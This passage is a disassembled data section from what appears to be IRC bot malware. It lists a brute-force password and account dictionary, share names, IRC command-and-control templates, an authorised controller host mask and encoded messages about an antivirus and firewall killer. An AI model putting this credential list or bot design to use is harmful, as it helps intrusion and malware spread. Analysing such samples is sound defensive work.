aBlowjob	db 'blowjob',0          ; DATA XREF: .nsp0:004296F4o
aBlow		db 'blow',0             ; DATA XREF: .nsp0:004296F0o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .nsp0:004296ECo
		align 4
aBlood		db 'blood',0            ; DATA XREF: .nsp0:004296E8o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: .nsp0:004296E4o
aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:004296E0o
		align 4
aBlack		db 'black',0            ; DATA XREF: .nsp0:004296DCo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:004296D8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:004296D4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:004296D0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:004296CCo
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:004296C8o
		align 4
aBios		db 'bios',0             ; DATA XREF: .nsp0:004296C4o
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:004296C0o
		align 4
aBill		db 'bill',0             ; DATA XREF: .nsp0:004296BCo
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:004296B8o
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:004296B4o
		align 10h
aBible		db 'bible',0            ; DATA XREF: .nsp0:004296B0o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:004296ACo
aBetty		db 'betty',0            ; DATA XREF: .nsp0:004296A8o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:004296A4o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: .nsp0:004296A0o
		align 4
aBeta		db 'beta',0             ; DATA XREF: .nsp0:0042969Co
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:00429698o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:00429694o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:00429690o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:0042968Co
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:00429688o
aBenz		db 'benz',0             ; DATA XREF: .nsp0:00429684o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:00429680o
aBell		db 'bell',0             ; DATA XREF: .nsp0:0042967Co
		align 4
aBehead		db 'behead',0           ; DATA XREF: .nsp0:00429678o
		align 10h
aBegin		db 'begin',0            ; DATA XREF: .nsp0:00429674o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:00429670o
		align 4
aBecky		db 'becky',0            ; DATA XREF: .nsp0:0042966Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:00429668o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:00429664o
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:00429660o
		align 4
aBeast		db 'beast',0            ; DATA XREF: .nsp0:0042965Co
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:00429658o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:00429654o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: .nsp0:00429650o
		align 4
aBatman		db 'batman',0           ; DATA XREF: .nsp0:0042964Co
		align 10h
aBatch		db 'batch',0            ; DATA XREF: .nsp0:00429648o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:00429644o
aBass		db 'bass',0             ; DATA XREF: .nsp0:00429640o
		align 4
aBasic		db 'basic',0            ; DATA XREF: .nsp0:0042963Co
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:00429638o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:00429634o
aBart		db 'bart',0             ; DATA XREF: .nsp0:00429630o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:0042962Co
		align 4
aBarf		db 'barf',0             ; DATA XREF: .nsp0:00429628o
		align 10h
aBare		db 'bare',0             ; DATA XREF: .nsp0:00429624o
		align 4
aBarber		db 'barber',0           ; DATA XREF: .nsp0:00429620o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:0042961Co
aBanks		db 'banks',0            ; DATA XREF: .nsp0:00429618o
		align 10h
aBank		db 'bank',0             ; DATA XREF: .nsp0:00429614o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:00429610o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:0042960Co
aBanana		db 'banana',0           ; DATA XREF: .nsp0:00429608o
		align 10h
aBall		db 'ball',0             ; DATA XREF: .nsp0:00429604o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:00429600o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: .nsp0:004295FCo
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:004295F8o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:004295F4o
aBaby		db 'baby',0             ; DATA XREF: .nsp0:004295F0o
		align 4
aBabe		db 'babe',0             ; DATA XREF: .nsp0:004295ECo
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:004295E8o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:004295E4o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:004295E0o
		align 4
aAttack		db 'attack',0           ; DATA XREF: .nsp0:004295DCo
		align 10h
aAtom		db 'atom',0             ; DATA XREF: .nsp0:004295D8o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:004295D4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: .nsp0:004295D0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:004295CCo
aAsian		db 'asian',0            ; DATA XREF: .nsp0:004295C8o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:004295C4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:004295C0o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:004295BCo
		align 4
aArmy		db 'army',0             ; DATA XREF: .nsp0:004295B8o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:004295B4o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:004295B0o
aAria		db 'aria',0             ; DATA XREF: .nsp0:004295ACo
		align 4
aApril		db 'april',0            ; DATA XREF: .nsp0:004295A8o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:004295A4o
		align 4
aAnything	db 'anything',0         ; DATA XREF: .nsp0:004295A0o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:0042959Co
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:00429598o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:00429594o
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:00429590o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:0042958Co
		align 4
aAnon		db 'anon',0             ; DATA XREF: .nsp0:00429588o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:00429584o
aAnne		db 'anne',0             ; DATA XREF: .nsp0:00429580o
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:0042957Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: .nsp0:00429578o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:00429574o
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:00429570o
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:0042956Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:00429568o
		align 10h
aAngela		db 'angela',0           ; DATA XREF: .nsp0:00429564o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:00429560o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: .nsp0:0042955Co
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:00429558o
		align 4
aAndroid	db 'android',0          ; DATA XREF: .nsp0:00429554o
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:00429550o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:0042954Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:00429548o
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:00429544o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:00429540o
		align 4
aAnal		db 'anal',0             ; DATA XREF: .nsp0:0042953Co
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:00429538o
		align 4
aAmerica	db 'america',0          ; DATA XREF: .nsp0:00429534o
aAmber		db 'amber',0            ; DATA XREF: .nsp0:00429530o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:0042952Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:00429528o
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:00429524o
		align 4
aAllow		db 'allow',0            ; DATA XREF: .nsp0:00429520o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: .nsp0:0042951Co
aAlison		db 'alison',0           ; DATA XREF: .nsp0:00429518o
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:00429514o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:00429510o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: .nsp0:0042950Co
		align 4
aAliases	db 'aliases',0          ; DATA XREF: .nsp0:0040320Co
					; .nsp0:00429508o
aAlias		db 'alias',0            ; DATA XREF: .nsp0:00429504o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:00429500o
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:004294FCo
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:004294F8o
		align 4
aAlert		db 'alert',0            ; DATA XREF: .nsp0:004294F4o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:004294F0o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:004294ECo
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:004294E8o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:004294E4o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:004294E0o
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:004294DCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:004294D8o
		align 10h
aAdult		db 'adult',0            ; DATA XREF: .nsp0:004294D4o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:004294D0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:004294CCo
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:004294C8o
		align 4
aAction		db 'action',0           ; DATA XREF: .nsp0:004062E9o
					; .nsp0:004294C4o
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:004294C0o
aAccept		db 'accept',0           ; DATA XREF: sub_409A6D+64Bo
					; .nsp0:004294BCo
		align 4
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:004294B8o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:004294B4o
		align 4
a000000		db '000000',0           ; DATA XREF: .nsp0:004294B0o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:004294ACo
		align 4
a0000		db '0000',0             ; DATA XREF: .nsp0:004294A8o
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:004294A4o
aTesting	db 'testing',0          ; DATA XREF: .nsp0:004294A0o
aDeath		db 'death',0            ; DATA XREF: .nsp0:0042949Co
		align 10h
a00		db '00',0               ; DATA XREF: .nsp0:00429498o
		align 4
a0_0:					; DATA XREF: sub_40C9E6+2CAo
					; .nsp0:00429494o
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:00429490o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0042948Co
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:00429488o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:00429484o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:00429480o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0042947Co
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:00429478o
aXx		db 'xx',0               ; DATA XREF: .nsp0:00429474o
		align 4
asc_42FB78:				; DATA XREF: .nsp0:00429470o
					; .nsp0:0043FF24o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:0042946Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:00429468o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:00429464o
		align 4
aMirc		db 'mirc',0             ; DATA XREF: .nsp0:00405AD9o
					; .nsp0:00429460o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:0042945Co
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:00429458o
		align 4
aScript		db 'script',0           ; DATA XREF: .nsp0:00429454o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:00429450o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:0042944Co
		align 4
aL337		db 'l337',0             ; DATA XREF: .nsp0:00429448o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:00429444o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .nsp0:00429440o
		align 4
aKiller		db 'killer',0           ; DATA XREF: .nsp0:0042943Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:00429438o
					; .nsp0:0042AF24o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: .nsp0:00429434o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: .nsp0:00429430o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: .nsp0:0042942Co
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: .nsp0:00429428o
aSatanik	db 'satanik',0          ; DATA XREF: .nsp0:00429424o
aSatan		db 'satan',0            ; DATA XREF: .nsp0:00429420o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .nsp0:0042941Co
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: .nsp0:00429418o
aMatt		db 'Matt',0             ; DATA XREF: .nsp0:00429414o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: .nsp0:00429410o
aPw		db 'pw',0               ; DATA XREF: .nsp0:0042940Co
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .nsp0:00429408o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .nsp0:00429404o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .nsp0:00429400o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:004293FCo
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: .nsp0:004293F8o
aMypc		db 'mypc',0             ; DATA XREF: .nsp0:004293F4o
		align 10h
aLove		db 'love',0             ; DATA XREF: .nsp0:004293F0o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .nsp0:004293ECo
aLogin		db 'login',0            ; DATA XREF: .nsp0:00402591o
					; .nsp0:004293E8o
		align 4
aHome		db 'home',0             ; DATA XREF: .nsp0:004293E4o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:004293E0o
					; .nsp0:0042B328o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:004293DCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:004293D8o
					; .nsp0:0042B294o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .nsp0:004293D4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:004293D0o
					; .nsp0:0042B340o
		align 4
aPc		db 'pc',0               ; DATA XREF: .nsp0:004293CCo
		align 4
aWin		db 'win',0              ; DATA XREF: .nsp0:004293C8o
aTest123	db 'test123',0          ; DATA XREF: .nsp0:004293C4o
aAbc		db 'abc',0              ; DATA XREF: .nsp0:004293C0o
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:004293BCo
					; .nsp0:0042B268o
aA_0:					; DATA XREF: .nsp0:00406300o
					; .nsp0:004293B8o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:004036A2o
					; .nsp0:004293B4o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:004293B0o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:004293ACo
aIrule		db 'irule',0            ; DATA XREF: .nsp0:004293A8o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: .nsp0:004293A4o
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:004293A0o
					; .nsp0:0042AF28o
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:0042939Co
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:00429398o
		align 4
aDevil		db 'devil',0            ; DATA XREF: .nsp0:00429394o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:00429390o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:0042938Co
		align 10h
aGod		db 'god',0              ; DATA XREF: .nsp0:00429388o
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:00429384o
aPat		db 'pat',0              ; DATA XREF: .nsp0:00429380o
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:0042937Co
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:00429378o
		align 4
a007		db '007',0              ; DATA XREF: .nsp0:00429374o
					; .nsp0:0042AF14o
a123abc		db '123abc',0           ; DATA XREF: .nsp0:00429370o
					; .nsp0:0042B124o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:0042936Co
					; .nsp0:0042B130o
		align 4
a123123		db '123123',0           ; DATA XREF: .nsp0:00429368o
					; .nsp0:0042B0D0o
		align 4
a121212		db '121212',0           ; DATA XREF: .nsp0:00429364o
					; .nsp0:0042B0C8o
		align 4
a111111		db '111111',0           ; DATA XREF: .nsp0:00429360o
					; .nsp0:0042AF40o
		align 4
a110		db '110',0              ; DATA XREF: .nsp0:0042935Co
					; .nsp0:0042B094o
a2600		db '2600',0             ; DATA XREF: .nsp0:00429358o
					; .nsp0:0042B21Co
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41B2E4+BAo
					; .nsp0:00429354o ...
		align 10h
a2002		db '2002',0             ; DATA XREF: .nsp0:00429350o
					; .nsp0:0042B208o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:0042934Co
		align 4
aEnable		db 'enable',0           ; DATA XREF: .nsp0:00429348o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:00429344o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:00429340o
a123asd		db '123asd',0           ; DATA XREF: .nsp0:0042933Co
					; .nsp0:0042B128o
		align 4
aSuper		db 'super',0            ; DATA XREF: .nsp0:00429338o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:00429334o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:0042932Co
					; .nsp0:0042B12Co
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:00429328o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:00429320o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0042931Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:00429314o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:00429310o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:0042930Co
					; .nsp0:0042B060o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .nsp0:00429308o
					; .nsp0:0042AF48o
		align 10h
a111		db '111',0              ; DATA XREF: .nsp0:00429304o
					; .nsp0:0042AF34o
a54321		db '54321',0            ; DATA XREF: .nsp0:00429300o
					; .nsp0:0042B228o
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:004292FCo
					; .nsp0:0042B22Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: .nsp0:004292F8o
					; .nsp0:0042B0E8o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .nsp0:004292F4o
					; .nsp0:0042B0E4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:004292F0o
					; .nsp0:0042B0E0o
a123456		db '123456',0           ; DATA XREF: .nsp0:004292ECo
					; .nsp0:0042B0DCo
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:004292E8o
					; .nsp0:0042B0D8o
		align 4
a1234		db '1234',0             ; DATA XREF: .nsp0:004292E4o
					; .nsp0:0042B0D4o
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:004292E0o
					; .nsp0:0042B0CCo
a12		db '12',0               ; DATA XREF: .nsp0:004292DCo
					; .nsp0:0042B0C0o
		align 4
a1:					; DATA XREF: .nsp0:004292D8o
					; .nsp0:0042AF2Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:004292D4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:004292D0o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:004292CCo
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:004292C8o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .nsp0:004292C4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:004292C0o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:004292BCo
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: .nsp0:004292B8o
					; .nsp0:0042B678o
		align 10h
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:004292B4o
					; .nsp0:0042B674o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:004292B0o
					; .nsp0:0042B670o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:004292A8o
					; .nsp0:0042B668o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:004292A4o
					; .nsp0:0042B664o
		align 10h
aEdu		db 'edu',0              ; DATA XREF: .nsp0:004292A0o
					; .nsp0:0042B660o
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:0042929Co
					; .nsp0:0042B65Co
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:00429298o
					; .nsp0:0042B658o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:00429294o
					; .nsp0:0042B654o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:00429290o
					; .nsp0:0042B650o
		align 4
aRead		db 'READ',0             ; DATA XREF: .nsp0:0042928Co
					; .nsp0:0042B64Co
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:00429288o
					; .nsp0:0042B648o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:00429284o
					; .nsp0:0042B644o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:00429280o
					; .nsp0:0042B640o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0042927Co
					; .nsp0:0042B63Co
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:00429278o
					; .nsp0:0042B638o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:00429274o
					; .nsp0:0042B634o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:00429270o
					; .nsp0:0042B630o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:0042926Co
					; .nsp0:0042B62Co
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:00429264o
					; .nsp0:0042B624o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:00429260o
					; .nsp0:0042B620o
		align 10h
aBla		db 'bla',0              ; DATA XREF: .nsp0:0042925Co
					; .nsp0:0042B61Co
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:00429258o
					; .nsp0:0042B618o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0042924Co
					; .nsp0:0042B60Co
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40F168+262o
					; .nsp0:00429240o ...
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0042923Co
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:00429238o
					; .nsp0:00429324o
		align 10h
aDba		db 'dba',0              ; DATA XREF: .nsp0:00429234o
aDatabase	db 'database',0         ; DATA XREF: .nsp0:00429230o
					; .nsp0:00429318o
		align 10h
aDefault	db 'default',0          ; DATA XREF: .nsp0:0042922Co
					; .nsp0:004299B8o
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:00429228o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:00429224o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:00429220o
					; .nsp0:0042A94Co
aStudent	db 'student',0          ; DATA XREF: .nsp0:0042921Co
					; .nsp0:0042A894o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:00429218o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:00429214o
					; .nsp0:00429330o
		align 10h
aRoot		db 'root',0             ; DATA XREF: .nsp0:0040D849o
					; .nsp0:00429210o ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0042920Co
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .nsp0:0040D850o
					; .nsp0:00429208o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:00429204o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:00429200o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:004291FCo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:004291F8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .nsp0:004291F4o
					; .nsp0:00429254o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41979A:loc_4198A5o
					; .nsp0:004291F0o ...
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_42914Co
		align 4
a@k7o_net	db '*@k7o.net',0        ; DATA XREF: .nsp0:off_429148o
		align 4
		dd 234032Dh, 75636573h,	2036572h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h
		dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h
		dd 234032Dh, 75636573h,	2036572h, 6552202Dh, 74736967h
		dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh
		dd 75636573h, 2036572h,	6146202Dh, 64656C69h, 206F7420h
		dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h
		dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h
		dd 2036572h, 7953202Dh,	6D657473h, 63657320h, 20657275h
		dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh
		dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h
		dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h
		dd 63612072h, 65766974h, 2Eh, 234032Dh,	6E69616Dh, 202D0203h
		dd 20746F42h, 72617473h, 2E646574h, 0
		dd 25207325h, 25222064h, 2273h
dword_4301F0	dd 255C7325h, 73hdword_4301F8	dd 73257325h, 0						; sub_41011E+4CAo ...
unk_430200	db  2Dh	; -		; DATA XREF: sub_4018A1+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401A09+55o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401A09+28o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040995Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00409947o
		align 4
unk_430268	db  2Dh	; -		; DATA XREF: .nsp0:0040993Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_430288	db  2Dh	; -		; DATA XREF: .nsp0:0040991Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4302A8	db  2Dh	; -		; DATA XREF: .nsp0:004098BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: .nsp0:0040989Co
		align 4
unk_4302FC	db  2Dh	; -		; DATA XREF: .nsp0:0040984Fo
		db 3, 34h, 2
